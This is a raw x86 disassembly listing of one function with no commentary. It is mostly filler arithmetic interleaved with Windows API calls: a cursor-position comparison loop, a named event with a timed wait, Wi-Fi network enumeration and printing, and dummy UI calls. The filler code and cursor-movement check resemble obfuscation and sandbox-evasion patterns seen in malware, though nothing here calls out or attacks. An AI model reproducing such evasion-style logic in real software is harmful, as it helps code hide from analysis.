mov dword [ebp - 0x36f4], ecx
mov dword [ebp - 0x3748], 0
xor edx, edx
mov dword [ebp - 0x3744], edx
mov dword [ebp - 0x3740], edx
mov dword [ebp - 0x373c], edx
mov dword [ebp - 0x35ec], 0
xor eax, eax
mov dword [ebp - 0x35e8], eax
mov dword [ebp - 0x35e4], eax
mov dword [ebp - 0x35e0], eax
mov word [ebp - 0x35d8], 0
push 0x206
push 0
lea ecx, [ebp - 0x35d6]
push ecx
call fcn.0041bd70
add esp, 0xc
lea ecx, [ebp - 0x3734]
call fcn.00412ed0
mov dx, word [ebp - 0x7e0]
mov word [ebp - 0x43fc], dx
lea eax, [ebp - 0x43fc]
push eax
lea ecx, [ebp - 0x3734]
call fcn.00412f50
mov cx, word [ebp - 0x3718]
mov word [ebp - 0x43fe], cx
lea edx, [ebp - 0x43fe]
push edx
lea ecx, [ebp - 0x3734]
call fcn.00412f90
mov dword [ebp - 0x3738], 0
mov dword [ebp - 0x3710], 0
mov dword [ebp - 0x375c], 0
xor eax, eax
mov dword [ebp - 0x3758], eax
mov dword [ebp - 0x3754], 0
xor ecx, ecx
mov dword [ebp - 0x3750], ecx
movzx edx, word [0x456b1c]
add edx, dword [ebp - 0x59c]
je 0x43e788
mov eax, dword [0x456b20]
mov dword [ebp - 0x3740], eax
jmp 0x43e7a0
mov ecx, dword [0x456b1c]
add ecx, dword [ebp - 0x59c]
add ecx, dword [ebp - 0x3718]
mov dword [ebp - 0x3748], ecx
mov dx, word [ebp - 0x3718]
mov word [ebp - 0x4400], dx
lea eax, [ebp - 0x4400]
push eax
lea ecx, [ebp - 0x3734]
call fcn.00412f90
push 0x18
push 1
lea ecx, [ebp - 0x3734]
call fcn.00416380
mov cx, word [ebp - 0x3760]
mov word [ebp - 0x4402], cx
lea edx, [ebp - 0x4402]
push edx
lea ecx, [ebp - 0x3734]
call fcn.00412f90
lea ecx, [ebp - 0x3734]
call fcn.00412fd0
mov dword [ebp - 0x3764], 0
jmp 0x43e815
mov eax, dword [ebp - 0x3764]
add eax, 1
mov dword [ebp - 0x3764], eax
mov ecx, dword [0x456b18]
add ecx, 0x3a
cmp dword [ebp - 0x3764], ecx
jge 0x43e89a
mov dword [ebp - 0x3768], 0
mov edx, dword [ebp - 0x3768]
push edx
call dword [sym.imp.USER32.dll_EndDeferWindowPos]
lea eax, [ebp - 0x36f0]
imul eax, dword [ebp - 0x3740]
mov ecx, dword [ebp - 0x97c]
add ecx, 0x42
cdq
idiv ecx
mov edx, dword [ebp - 0x36fc]
sub edx, eax
movzx eax, byte [ebp - 0xa90]
add edx, eax
lea ecx, [ebp - 0x7b8]
cmp edx, ecx
jge 0x43e888
lea edx, [ebp - 0x35d8]
movzx eax, dx
mov ecx, dword [ebp - 0x374c]
sub ecx, eax
mov dword [ebp - 0x36f4], ecx
lea edx, [ebp - 0x375c]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
jmp 0x43e806
mov eax, dword [ebp - 0x7c4]
add eax, dword [0x456b18]
je 0x43e8e5
mov ecx, dword [ebp - 0x7bc]
add ecx, 0x61
mov eax, dword [ebp - 0x370c]
xor edx, edx
div ecx
imul eax, dword [0x456b18]
mov ecx, dword [0x456b1c]
add ecx, 0x48
xor edx, edx
div ecx
mov edx, dword [ebp - 0x97c]
sub edx, eax
add edx, dword [ebp - 0x7c4]
mov dword [ebp - 0x3704], edx
jmp 0x43e924
mov eax, dword [0x456b20]
cdq
mov ecx, 0x2b
idiv ecx
mov ecx, eax
sub ecx, dword [ebp - 0x7bc]
mov esi, dword [ebp - 0xa90]
add esi, 0x61
mov eax, dword [ebp - 0x370c]
xor edx, edx
div esi
imul eax, dword [ebp - 0x59c]
add ecx, eax
mov edx, dword [ebp - 0x980]
sub edx, ecx
mov dword [ebp - 0x980], edx
push str.codepluss
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 0x3708], eax
mov dword [ebp - 0x376c], 0
jmp 0x43e956
mov eax, dword [ebp - 0x376c]
add eax, 1
mov dword [ebp - 0x376c], eax
cmp dword [ebp - 0x376c], 0xa
jge 0x43ee36
mov ecx, dword [0x456b18]
mov dword [ebp - 0x3770], ecx
lea edx, [ebp - 0x3754]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
cmp dword [ebp - 0x3770], 0
je 0x43e9a3
mov eax, dword [ebp - 0xa90]
push eax
call dword [sym.imp.ole32.dll_RevokeDragDrop]
push 1
push 0
mov ecx, dword [ebp - 0x3770]
push ecx
call dword [sym.imp.ole32.dll_CoLockObjectExternal]
mov edx, dword [ebp - 0x3760]
sub edx, dword [ebp - 0xbbc]
cmp edx, dword [ebp - 0x7e0]
jne 0x43e9d2
movzx eax, byte [ebp - 0x7e0]
add eax, dword [ebp - 0xbbc]
add eax, dword [0x456b0c]
mov dword [ebp - 0x7e0], eax
jmp 0x43ea0d
movzx eax, byte [ebp - 0x3760]
mov ecx, dword [0x456b1c]
add ecx, 0x3b
cdq
idiv ecx
movzx edx, byte [ebp - 0x3704]
movzx ecx, word [0x456b0c]
imul edx, ecx
add eax, edx
mov edx, dword [0x456b18]
imul edx, dword [ebp - 0x7bc]
add eax, edx
mov dword [ebp - 0x7e0], eax
mov eax, dword [ebp - 0x375c]
cmp eax, dword [ebp - 0x3754]
jne 0x43ea7d
mov ecx, dword [ebp - 0x3758]
cmp ecx, dword [ebp - 0x3750]
jne 0x43ea7d
mov dword [ebp - 0x3788], 0
mov dword [ebp - 0x3784], 0
xor edx, edx
mov dword [ebp - 0x3780], edx
mov dword [ebp - 0x377c], edx
mov dword [ebp - 0x3778], edx
mov dword [ebp - 0x3774], edx
push 0
lea eax, [ebp - 0x3784]
push eax
mov ecx, dword [ebp - 0x3788]
push ecx
call dword [sym.imp.WINMM.dll_mmioAscend]
test eax, eax
je 0x43ea7b
mov dword [ebp - 0x7e0], 1
jmp 0x43ead4
push 0xf
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov edx, dword [ebp - 0x3754]
mov dword [ebp - 0x375c], edx
mov eax, dword [ebp - 0x3750]
mov dword [ebp - 0x3758], eax
mov ecx, dword [0x456b18]
imul ecx, dword [ebp - 0x7cc]
movzx edx, byte [ebp - 0x7c4]
add ecx, edx
sub ecx, dword [0x456b10]
add ecx, dword [0x456b24]
mov dword [ebp - 0x3704], ecx
mov eax, dword [ebp - 0x3738]
add eax, 1
mov dword [ebp - 0x3738], eax
mov ecx, dword [0x456b1c]
imul ecx, dword [ebp - 0x374c]
sub ecx, dword [0x456b10]
mov edx, dword [ebp - 0x7e4]
add edx, dword [0x456b0c]
cmp ecx, edx
jne 0x43eb19
mov ecx, dword [ebp - 0x7c4]
add ecx, 0x5e
mov eax, dword [0x456b1c]
cdq
idiv ecx
movzx edx, byte [ebp - 0x374c]
imul eax, edx
mov dword [0x456b10], eax
jmp 0x43eb51
mov ecx, dword [0x456b0c]
add ecx, dword [ebp - 0x7c4]
lea edx, [ebp - 0xa88]
imul edx, dword [0x456b1c]
add ecx, edx
mov eax, dword [ebp - 0x374c]
xor edx, edx
mov esi, 0xd
div esi
add ecx, dword [ebp - 0x7cc]
add eax, ecx
mov dword [ebp - 0x374c], eax
cmp dword [ebp - 0x3738], 0
je 0x43eb79
push 0
mov eax, dword [0x456b20]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ecx, dword [ebp - 0x3710]
add ecx, 1
mov dword [ebp - 0x3710], ecx
jmp 0x43ebab
mov edx, dword [ebp - 0x7cc]
sub edx, dword [ebp - 0xbbc]
movzx eax, word [0x456b18]
sub edx, eax
movzx ecx, word [ebp - 0x7e4]
add edx, ecx
mov eax, dword [0x456b1c]
imul eax, dword [ebp - 0x3760]
sub edx, eax
mov dword [ebp - 0x7e4], edx
mov cl, byte [ebp - 0x7c4]
mov byte [ebp - 0x3c98], cl
push 0x103
push 0
lea edx, [ebp - 0x3c97]
push edx
call fcn.0041bd70
add esp, 0xc
mov eax, dword [ebp - 0x3b8c]
push eax
lea ecx, [ebp - 0x3c98]
push ecx
push 0x400
lea edx, [ebp - 0x3b88]
push edx
call fcn.00401e30
mov eax, dword [ebp - 0x3718]
sub eax, dword [0x456b18]
cmp dword [ebp - 0x3738], eax
jbe 0x43ecac
movzx ecx, byte [ebp - 0x7bc]
movzx edx, byte [ebp - 0x374c]
imul edx, dword [ebp - 0x3718]
add ecx, edx
movzx eax, byte [ebp - 0x980]
mov edx, dword [ebp - 0x371c]
sub edx, eax
cmp ecx, edx
ja 0x43eca7
fild dword [0x456b0c]
push ecx
fstp dword [esp]
call fcn.00401f80
add esp, 4
movzx eax, byte [ebp - 0x3760]
mov dword [ebp - 0x44cc], eax
fisub dword [ebp - 0x44cc]
mov ecx, dword [ebp - 0x3760]
mov dword [ebp - 0x44d4], ecx
mov dword [ebp - 0x44d0], 0
fild qword [ebp - 0x44d4]
fsubrp st(1)
fnstcw word [ebp - 0x44d6]
movzx eax, word [ebp - 0x44d6]
or eax, 0xc00
mov dword [ebp - 0x44dc], eax
fldcw word [ebp - 0x44dc]
fistp qword [ebp - 0x44e4]
fldcw word [ebp - 0x44d6]
mov edx, dword [ebp - 0x44e4]
mov dword [ebp - 0x3760], edx
jmp 0x43ee36
mov eax, dword [ebp - 0xa90]
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
jne 0x43ecc9
mov ecx, dword [0x456b10]
mov dword [ebp - 0x7e0], ecx
cmp dword [ebp - 0x370c], 0
jne 0x43ecfa
movzx eax, word [ebp - 0x374c]
mov ecx, dword [ebp - 0x7c4]
add ecx, 0x5e
cdq
idiv ecx
movzx edx, word [ebp - 0x7c4]
imul eax, edx
add eax, dword [ebp - 0x7d0]
mov dword [0x456b10], eax
cmp dword [ebp - 0x3710], 4
jle 0x43edfb
mov eax, dword [ebp - 0x7cc]
cmp eax, dword [ebp - 0x7d0]
jne 0x43edc2
fild dword [ebp - 0x97c]
mov ecx, dword [ebp - 0x980]
mov dword [ebp - 0x44ec], ecx
mov dword [ebp - 0x44e8], 0
fild qword [ebp - 0x44ec]
push ecx
fstp dword [esp]
fstp qword [ebp - 0x44f4]
call fcn.00401f80
add esp, 4
fadd qword [ebp - 0x44f4]
movzx edx, byte [0x456b10]
mov dword [ebp - 0x44f8], edx
fisub dword [ebp - 0x44f8]
fiadd dword [ebp - 0x7bc]
mov eax, dword [ebp - 0x3704]
mov dword [ebp - 0x4500], eax
mov dword [ebp - 0x44fc], 0
fild qword [ebp - 0x4500]
fsubrp st(1)
fnstcw word [ebp - 0x4502]
movzx eax, word [ebp - 0x4502]
or eax, 0xc00
mov dword [ebp - 0x4508], eax
fldcw word [ebp - 0x4508]
fistp qword [ebp - 0x4510]
fldcw word [ebp - 0x4502]
mov ecx, dword [ebp - 0x4510]
mov dword [ebp - 0x3704], ecx
jmp 0x43edf9
movzx eax, byte [ebp - 0xbbc]
mov ecx, dword [ebp - 0x97c]
add ecx, 0x3b
cdq
idiv ecx
add eax, dword [0x456b0c]
add eax, dword [0x456b20]
add eax, dword [ebp - 0x7cc]
add eax, dword [ebp - 0x97c]
add eax, dword [ebp - 0x980]
mov dword [ebp - 0x980], eax
jmp 0x43ee36
movzx edx, byte [0x456b0c]
lea eax, [ebp + edx - 0x35d8]
test eax, eax
je 0x43ee1f
mov ecx, dword [ebp - 0x374c]
sub ecx, dword [0x456b0c]
mov dword [ebp - 0x374c], ecx
push 0xbb5
mov edx, dword [ebp - 0x3708]
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
jmp 0x43e947
movzx eax, byte [ebp - 0x35ec]
test eax, eax
jne 0x43ee67
mov ecx, dword [ebp - 0x374c]
imul ecx, dword [ebp - 0x36f4]
movzx edx, word [ebp - 0x3740]
sub ecx, edx
mov eax, dword [ebp - 0x7e0]
sub eax, ecx
mov dword [ebp - 0x7e0], eax
jmp 0x43ee81
mov ecx, dword [ebp - 0x374c]
add ecx, dword [ebp - 0x370c]
mov edx, dword [ebp - 0x7e0]
sub edx, ecx
mov dword [ebp - 0x7e0], edx
mov eax, dword [0x456b18]
add eax, dword [ebp - 0xbbc]
mov dword [0x456b10], eax
mov dword [ebp - 0x3c9c], 0
jmp 0x43eeac
mov ecx, dword [ebp - 0x3c9c]
add ecx, 1
mov dword [ebp - 0x3c9c], ecx
mov edx, dword [ebp - 0x7c4]
add edx, 0x34
cmp dword [ebp - 0x3c9c], edx
jge 0x43ef68
mov dword [ebp - 0x3cb4], 0
push 0xff0000
mov eax, dword [ebp - 0x3cb4]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 0x3cac], 0
xor ecx, ecx
mov dword [ebp - 0x3ca8], ecx
mov dword [ebp - 0x3ca4], ecx
mov dword [ebp - 0x3ca0], ecx
mov dword [ebp - 0x3cb0], 0x44b2d0
cmp dword [ebp - 0x7c4], 0
je 0x43ef36
cmp dword [ebp - 0xa90], 0
je 0x43ef36
push 0x10
lea edx, [ebp - 0x3cac]
push edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0x3cb0]
push eax
mov ecx, dword [ebp - 0x3cb4]
push ecx
call dword [sym.imp.USER32.dll_DrawTextA]
mov ecx, dword [ebp - 0xa90]
add ecx, 0x39
mov eax, dword [ebp - 0x59c]
cdq
idiv ecx
movzx edx, byte [ebp - 0xa90]
add eax, edx
sub eax, dword [ebp - 0x35e8]
add eax, dword [ebp - 0x373c]
mov dword [ebp - 0x373c], eax
jmp 0x43ee9d
push 0
mov eax, dword [ebp - 0xa90]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [ebp - 0x3cb8], eax
push 0
push 0
push 0x800
mov ecx, dword [ebp - 0x3cb8]
push ecx
call dword [sym.imp.USER32.dll_AppendMenuA]
lea ecx, [ebp - 0x3734]
call fcn.00412f10
cmp dword [ebp + 8], 0
jne 0x43f2dd
mov edx, dword [ebp - 0xa90]
mov dword [ebp - 0x3ce0], edx
mov eax, dword [0x456b10]
mov dword [ebp - 0x40a4], eax
mov dword [ebp - 0x3d04], 0
mov dword [ebp - 0x4098], 0x3c
mov dword [ebp - 0x3d10], 0
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x3d7c], ecx
mov edx, dword [ebp - 0xa8c]
add edx, 1
mov dword [ebp - 0x3e1c], edx
mov eax, dword [ebp - 0x7e0]
add eax, dword [ebp - 0x59c]
mov dword [ebp - 0x3d0c], eax
mov ecx, dword [0x456b0c]
sub ecx, dword [0x456b10]
mov dword [ebp - 0x4220], ecx
mov edx, dword [0x456b18]
mov dword [ebp - 0x42a8], edx
mov dword [ebp - 0x42a4], 1
mov dword [ebp - 0x4274], 0
lea eax, [ebp - 0x42a8]
push eax
lea ecx, [ebp - 0x4274]
push ecx
push 0
mov edx, dword [ebp - 0x42a4]
push edx
call sub.Wlanapi.dll_WlanOpenHandle
mov dword [ebp - 0x43ac], eax
mov dword [ebp - 0x42a0], 0
lea eax, [ebp - 0x42a0]
push eax
push 0
push 1
lea ecx, [ebp - 0x429c]
push ecx
mov edx, dword [ebp - 0x42a8]
push edx
call sub.Wlanapi.dll_WlanGetAvailableNetworkList
mov dword [ebp - 0x43ac], eax
cmp dword [ebp - 0x43ac], 0
je 0x43f0cc
mov eax, dword [ebp - 0x43ac]
push eax
push 0x44b2d4
call fcn.00419820
add esp, 8
push 0
mov ecx, dword [ebp - 0x42a8]
push ecx
call sub.Wlanapi.dll_WlanCloseHandle
cmp dword [ebp - 0x42a0], 0
je 0x43f0cc
mov edx, dword [ebp - 0x42a0]
push edx
call sub.Wlanapi.dll_WlanFreeMemory
cmp dword [0x456b20], 0
jne 0x43f0e2
cmp dword [0x456b18], 0
je 0x43f2ba
mov dword [ebp - 0x4278], 0
jmp 0x43f0fd
mov eax, dword [ebp - 0x4278]
add eax, 1
mov dword [ebp - 0x4278], eax
mov ecx, dword [ebp - 0x42a0]
mov edx, dword [ebp - 0x4278]
cmp edx, dword [ecx]
jae 0x43f2ba
mov dword [ebp - 0x43b0], 0
mov eax, dword [ebp - 0x42a0]
add eax, 8
mov dword [ebp - 0x428c], eax
mov ecx, dword [ebp - 0x43b0]
cmp ecx, dword [ebp - 0x4278]
jae 0x43f15b
mov edx, dword [ebp - 0x428c]
add edx, 0x274
mov dword [ebp - 0x428c], edx
mov eax, dword [ebp - 0x43b0]
add eax, 1
mov dword [ebp - 0x43b0], eax
jmp 0x43f12a
push 0x100
push 0
lea ecx, [ebp - 0x43a8]
push ecx
call fcn.0041bd70
add esp, 0xc
mov edx, dword [ebp - 0x428c]
mov eax, dword [edx + 0x200]
push eax
mov ecx, dword [ebp - 0x428c]
add ecx, 0x204
push ecx
lea edx, [ebp - 0x43a8]
push edx
call fcn.00420e50
add esp, 0xc
lea eax, [ebp - 0x43a8]
push eax
push str._24s
call fcn.00419820
add esp, 8
mov ecx, dword [ebp - 0x428c]
cmp dword [ecx + 0x224], 1
jne 0x43f1cc
push str.Infra
call fcn.00419820
add esp, 4
jmp 0x43f215
mov edx, dword [ebp - 0x428c]
cmp dword [edx + 0x224], 2
jne 0x43f1ea
push str.Ad_hoc
call fcn.00419820
add esp, 4
jmp 0x43f215
mov eax, dword [ebp - 0x428c]
cmp dword [eax + 0x224], 3
jne 0x43f208
push str.Any
call fcn.00419820
add esp, 4
jmp 0x43f215
push 0x44b2f8
call fcn.00419820
add esp, 4
mov ecx, dword [ebp - 0x428c]
mov edx, dword [ecx + 0x228]
push edx
push str._6d
call fcn.00419820
add esp, 8
mov eax, dword [ebp - 0x428c]
mov ecx, dword [eax + 0x25c]
push ecx
push str._7d
call fcn.00419820
add esp, 8
mov edx, dword [ebp - 0x428c]
cmp dword [edx + 0x260], 0
je 0x43f267
push str.yes
call fcn.00419820
add esp, 4
jmp 0x43f274
push 0x44b314
call fcn.00419820
add esp, 4
mov eax, dword [ebp - 0x428c]
mov ecx, dword [eax + 0x264]
push ecx
push 0x44b318
call fcn.00419820
add esp, 8
mov edx, dword [ebp - 0x428c]
mov eax, dword [edx + 0x268]
push eax
push str._8d
call fcn.00419820
add esp, 8
push 0x44b328
call fcn.00419820
add esp, 4
jmp 0x43f0ee
cmp dword [ebp - 0x42a0], 0
je 0x43f2cf
mov ecx, dword [ebp - 0x42a0]
push ecx
call sub.Wlanapi.dll_WlanFreeMemory
push 0
mov edx, dword [ebp - 0x42a8]
push edx
call sub.Wlanapi.dll_WlanCloseHandle
mov dword [ebp - 0x43c4], 0
mov dword [ebp - 0x43c8], 1
mov dword [ebp - 0x43c0], 0
wait
mov dword [ebp - 4], 0
cmp dword [0x456b18], 0
je 0x43f320
mov eax, dword [ebp - 0xbbc]
add eax, dword [ebp - 0x97c]
mov dword [ebp - 0x43bc], eax
jmp 0x43f333
mov ecx, dword [ebp - 0x43c4]
imul ecx, dword [ebp - 0x59c]
mov dword [ebp - 0x43bc], ecx
mov edx, dword [ebp - 0x43bc]
cmp edx, dword [ebp - 0x43c8]
jbe 0x43f358
mov eax, dword [ebp - 0x980]
lea ecx, [ebp - 0x7b8]
imul eax, ecx
mov dword [ebp - 0x43b8], eax
jmp 0x43f36b
mov edx, dword [ebp - 0x43c8]
imul edx, dword [ebp - 0xaac]
mov dword [ebp - 0x43b8], edx
cmp dword [ebp - 0x43b8], 0
je 0x43f387
mov eax, dword [0x456b20]
add eax, dword [ebp - 0x7e0]
mov dword [ebp - 0x43b4], eax
jmp 0x43f3a3
mov ecx, dword [ebp - 0x59c]
imul ecx, dword [ebp - 0x43c8]
mov edx, dword [0x456b10]
lea eax, [ecx + edx*2]
mov dword [ebp - 0x43b4], eax
movzx ecx, byte [0x456b0c]
test ecx, ecx
je 0x43f3c0
cmp dword [ebp - 0x7c4], 0
je 0x43f3c0
cmp dword [ebp - 0x43c4], 0
jne 0x43f3ed
mov ecx, dword [0x456b18]
imul ecx, ecx, 0x4e
mov eax, dword [ebp - 0x59c]
cdq
idiv ecx
imul eax, dword [ebp - 0xbbc]
add eax, dword [ebp - 0x59c]
mov edx, dword [ebp - 0x980]
sub edx, eax
mov dword [ebp - 0x980], edx
mov dword [ebp - 0x43d8], 0
xor eax, eax
mov dword [ebp - 0x43d4], eax
mov dword [ebp - 0x43d0], eax
mov dword [ebp - 0x43cc], eax
push 1
push 1
lea ecx, [ebp - 0x43d8]
push ecx
call dword [sym.imp.USER32.dll_InflateRect]
mov edx, dword [ebp - 0x7c4]
mov dword [ebp - 0x43dc], edx
mov eax, dword [0x456b18]
mov dword [ebp - 0x43e0], eax
cmp dword [ebp - 0x43dc], 0
je 0x43f452
push 1
mov ecx, dword [ebp - 0x43e0]
push ecx
mov edx, dword [ebp - 0x43dc]
push edx
call dword [sym.imp.USER32.dll_AttachThreadInput]
wait
mov dword [ebp - 4], 0xffffffff
jmp 0x43f519
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret